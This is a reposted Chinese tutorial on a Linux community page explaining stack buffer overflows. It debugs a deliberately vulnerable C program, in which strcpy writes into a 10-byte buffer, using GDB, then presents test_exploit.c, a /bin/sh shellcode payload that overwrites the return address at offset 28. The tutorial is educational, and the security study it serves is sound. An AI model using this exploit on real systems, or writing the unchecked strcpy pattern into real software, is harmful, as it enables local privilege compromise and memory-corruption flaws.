Linux下棧溢出的原理及利用(ZT)

來源:互聯網
上載者:User
Linux下棧溢出的原理及利用
作者:xinhe 文章來源:xfocus.net 點擊數:

23 更新時間:2005-1-25

Linux下棧溢出的原理及利用
作者:xinhe
1、進程空間的記憶體分布
     一個程式在運行時系統會給這個程式分配4GB的虛擬記憶體,而這4GB有2GB是共用的,核心可以訪問,
    還有2GB是進程獨佔的,而程式又分為程式段,資料區段,堆棧段。動態資料都是通過堆棧段來存放。
    其分布如下:
                    記憶體高端
          +-------------------+
          |      程式段          |
          +-------------------+
          |      資料區段          |
          +-------------------+
          |      堆  棧          |
          +-------------------+
                    記憶體低端
                    
    而堆棧段的分布又如下:
                   記憶體高端
          +-------------------+
          |      函數棧          |
          +-------------------+
          |      函數棧          |
          +-------------------+
          |    -------        |
          +-------------------+
          |        堆            |
          +-------------------+
                    記憶體低端

2、程式對堆棧的使用
   程式每調用一個函數,就會在堆棧裡申請一定的空間,我們把這個空間稱為函數棧,而隨著函數調用層數的
   增加, 函數棧一塊塊地從高端記憶體向低端記憶體位址方向延伸.反之,隨著進程中函數調用層數的減少, 即各
   函數調用的返回, 函數棧會一塊塊地被遺棄而向記憶體的高址方向回縮.各函數的棧大小隨著函數的性質的不
   同而不等, 由函數的局部變數的數目決定。
      進程對記憶體的動態申請是發生在Heap(堆)裡的. 也就是說, 隨著系統動態分配給進程的記憶體數量的增加,
  Heap(堆)有可能向高址或低址延伸, 依賴於不同CPU的實現. 但一般來說是向記憶體的高地址方向增長的。
     當發生函數調用時,先將函數的參數壓入棧中,然後將函數的返回地址壓入棧中,這裡的返回地址通常是
  Call的下一條指令的地址。
  這裡結合一個執行個體來說明這一過程:
  寫這麼一個程式
//test.c
#include<stdio.h>
  int fun(char *str)
  {
   char buffer[10];
   strcpy(buffer,str);
   printf("%s",buffer);
   return 0;
  }
  int main(int argc,char **argv)
  {
    int i=0;
    char *str;
    str=argv[1];
    fun(str);
    return 0;
  }
  編譯 gcc -g -o test test.c
  然後用GDB來進來調試
  gdb test
  反組譯碼main函數
0x080483db <main+0>:    push   %ebp
0x080483dc <main+1>:    mov    %esp,%ebp
0x080483de <main+3>:    sub    $0x8,%esp
0x080483e1 <main+6>:    and    $0xfffffff0,%esp
0x080483e4 <main+9>:    mov    $0x0,%eax
0x080483e9 <main+14>:   sub    %eax,%esp
0x080483eb <main+16>:   movl   $0x0,0xfffffffc(%ebp)
0x080483f2 <main+23>:   mov    0xc(%ebp),%eax
0x080483f5 <main+26>:   add    $0x4,%eax
0x080483f8 <main+29>:   mov    (%eax),%eax
0x080483fa <main+31>:   mov    %eax,0xfffffff8(%ebp)
0x080483fd <main+34>:   sub    $0xc,%esp
0x08048400 <main+37>:   pushl  0xfffffff8(%ebp)
0x08048403 <main+40>:   call   0x80483a8 <fun>
0x08048408 <main+45>:   add    $0x10,%esp
0x0804840b <main+48>:   mov    $0x0,%eax
0x08048410 <main+53>:   leave
0x08048411 <main+54>:   ret

注意這一行
0x08048403 <main+40>:   call   0x80483a8 <fun>
這一行是調用fun函數,而下一行的指令地址為:0x08048408,也就是說當fun調用完以後要返回0x08048408
在原程式的第14行設定斷點
b 14
run AAAA
這時,程式裝運行到函數調用之前,看一下寄存器的地址
i reg
eax            0xbffffaa7       -1073743193
ecx            0xbffff960       -1073743520
edx            0xbffff954       -1073743532
ebx            0x4014effc       1075113980
esp            0xbffff8c0       0xbffff8c0
ebp            0xbffff8c8       0xbffff8c8
esi            0x2      2
edi            0x401510fc       1075122428
eip            0x80483fd        0x80483fd
eflags         0x200282 2097794
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
這裡我們需要關心的寄存器主要主esp(棧頂指標),ebp(棧底指標),eip(指令指標)
看一下esp裡的資料
x/8x $esp
0xbffff8c0:     0xbffffaa7      0x00000000      0xbffff928      0x4004cad4
0xbffff8d0:     0x00000002      0xbffff954      0xbffff960      0x40037090
再看一下str的地址
print str
$1 = 0xbffffaa7 "AAAA"
因為str就是命令列裡的參數,很明顯,這裡調了main函數時後首先是參數地址被壓入棧裡。
然後逐步執行程式後再看寄存器
si
si
si
i reg
eax            0xbffffaa7       -1073743193
ecx            0xbffff960       -1073743520
edx            0xbffff954       -1073743532
ebx            0x4014effc       1075113980
esp            0xbffff8ac       0xbffff8ac
ebp            0xbffff8c8       0xbffff8c8
esi            0x2      2
edi            0x401510fc       1075122428
eip            0x80483a8        0x80483a8
eflags         0x200396 2098070
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

我們發現esp的值變了,看看壓進去了些什麼東西
x/8x $esp
0xbffff8ac:     0x08048408      0xbffffaa7      0x4014effc      0x00000000
0xbffff8bc:     0x4014effc      0xbffffaa7      0x00000000      0xbffff928
這裡我很可以很清楚的看到調用過程
首先把參數地址0xbffffaa7壓入棧內,然後把返回地址0x08048408壓入棧內
接著往下看
我們把fun函數也反組譯碼出來
disas fun
0x080483a8 <fun+0>:     push   %ebp
0x080483a9 <fun+1>:     mov    %esp,%ebp
0x080483ab <fun+3>:     sub    $0x18,%esp
0x080483ae <fun+6>:     sub    $0x8,%esp
0x080483b1 <fun+9>:     pushl  0x8(%ebp)
0x080483b4 <fun+12>:    lea    0xffffffe8(%ebp),%eax
0x080483b7 <fun+15>:    push   %eax
0x080483b8 <fun+16>:    call   0x80482e8 <_init+72>
0x080483bd <fun+21>:    add    $0x10,%esp
0x080483c0 <fun+24>:    sub    $0x8,%esp
0x080483c3 <fun+27>:    lea    0xffffffe8(%ebp),%eax
0x080483c6 <fun+30>:    push   %eax
0x080483c7 <fun+31>:    push   $0x80484e8
0x080483cc <fun+36>:    call   0x80482d8 <_init+56>
0x080483d1 <fun+41>:    add    $0x10,%esp
0x080483d4 <fun+44>:    mov    $0x0,%eax
0x080483d9 <fun+49>:    leave
0x080483da <fun+50>:    ret
再繼續往下執行
si
si
si
x/16x $esp
0xbffff890:     0x08048414      0x080495d0      0xbffff8a8      0x080482b5
0xbffff8a0:     0x00000000      0x00000000      0xbffff8c8      0x08048408
0xbffff8b0:     0xbffffaa7      0x4014effc      0x00000000      0x4014effc
0xbffff8c0:     0xbffffaa7      0x00000000      0xbffff928      0x4004cad4

print &buffer
$7 = (char (*)[10]) 0xbffff890

這裡可以看出,程式以為buffer分配了空間,而且空間大小為24位元組。
程式繼續執行
next
x/16x $esp

0xbffff890:     0x41414141      0x08049500      0xbffff8a8      0x080482b5
0xbffff8a0:     0x00000000      0x00000000      0xbffff8c8      0x08048408
0xbffff8b0:     0xbffffaa7      0x4014effc      0x00000000      0x4014effc
0xbffff8c0:     0xbffffaa7      0x00000000      0xbffff928      0x4004cad4
從這裡我們可以看出從0xbffff890這個地址開始(也是buffer的地址)開始向高端記憶體填充,這裡填充了
4個"A"A的ACSII碼為41

3.其於棧的緩衝區溢位
  我們還是接著這個程式來分析
  我們定義buffer時是要求分配10位元組的空間,而程式實際可分配了24個位元組的空間,在strcpy執行時
  向buffer裡拷貝A時並未檢查長度,如果我們向buffer裡拷貝的A如果超過24個位元組,就會產生溢出。
  如果向buffer裡拷貝的A的長度夠長,把返回地址0x08048408覆蓋了的話程式就會出錯。一般會報段
  錯誤或者非法指令,如果返回地址無法訪問,則產生段誤,如果不可執行則視為非法指令。
  
4.其於棧的緩衝區溢位利用。
  既然我們可能覆蓋返回地址,也就意味著我們可以控製程序的流程,如果這個返回地址正好是一個shellcode
  的入口,那麼就可以利用這個有溢出的程式來獲得一個shell。
  下面我們就寫一個exploit來攻擊這個程式
  //test_exploit.c
  #include<stdio.h>
  #include<unistd.h>
  char shellCode[] = "/x31/xdb/x89/xd8/xb0/x17/xcd/x80"
                     "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c"
                     "/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb"
                     "/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";
  int main()
  {
    char str[]="AAAAAAAAAA"
               "AAAAAAAAAA"
               "AAAAAAAAAA"
               "AAAAA";
    *(int *)&str[28]=(int)shellCode;
    char *arg[]={"./test",str,NULL};    
    execve(arg[0],arg,NULL);
    return 0;
  }  
  這裡我們把str的第28、29、30、31節字裡存放shellCode的地址,因為從上面的分析我們得知返回地址在
  距buffer位移為28的地方。
  編譯這個程式
  gcc -g -o test_exploit test_exploit.c
  執行,哈哈,我們期待的shellCode出現了。

 

 

轉載者注:有本雜誌<<緩衝區溢位教程>>王煒 方勇 編著.對shellcode有較為系統的講述.

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.